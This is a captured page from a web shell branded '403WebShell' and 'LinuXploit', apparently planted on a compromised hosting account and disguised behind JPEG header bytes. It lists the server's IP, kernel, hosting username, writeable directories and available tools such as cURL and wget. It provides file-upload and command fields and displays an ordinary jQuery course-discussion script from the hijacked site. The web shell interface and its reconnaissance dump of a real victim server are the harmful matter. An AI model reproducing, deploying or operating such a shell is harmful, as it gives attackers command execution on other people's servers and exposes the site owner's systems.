����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 13.59.90.172
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirm.gltechlimited.com/public/frontend/assets/js/instructor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirm.gltechlimited.com/public/frontend/assets/js/instructor/discussion.js
(function ($) {
    "use strict";

    $(function (){
        var course_id = $('.firstCourseId').val();
        getCourseDiscussionList(course_id);
    });


    $(document).on('click', '.courseId', function () {
        var course_id = $(this).data('course_id');
        getCourseDiscussionList(course_id);
    });


    function getCourseDiscussionList(course_id)
    {
        var courseDiscussionListRoute = $('.courseDiscussionListRoute').val();

        $.ajax({
            type: "GET",
            url: courseDiscussionListRoute,
            data: {
                'course_id': course_id,
            },
            datatype: "json",
            success: function (response) {
                $('.appendDiscussionList').html(response);
            },
            error: function (error) {
            },
        });
    }

    $(document).keyup('.search_course_title', function () {
        var search_title = $('.search_course_title').val();
        var discussionIndexRoute = $('.discussionIndexRoute').val();

        $.ajax({
            type: "GET",
            url: discussionIndexRoute,
            data: {
                'search_title': search_title,
            },
            datatype: "json",
            success: function (response) {
                $('.appendDiscussionCourseList').html(response);
            },
            error: function (error) {
            },
        });
    });

    $(document).on('click', '.instructorDiscussionReply', function () {
        var discussion_id = $(this).data('discussion_id');
        var commentReply = $('.commentReply_'+ discussion_id).val();
        var route = $(this).data('route');
        var course_id = $(this).data('course_id');

        $.ajax({
            type: "POST",
            url: route,
            data: {'course_id': course_id, 'commentReply': commentReply, '_token': $('meta[name="csrf-token"]').attr('content')},
            datatype: "json",
            success: function (response) {
                toastr.options.positionClass = 'toast-bottom-right';
                toastr.success('Replied successful.')
                $('.appendDiscussionList').html(response);
            },
            error: function (error) {
            },
        });
    });
})(jQuery)

Youez - 2016 - github.com/yon3zu
LinuXploit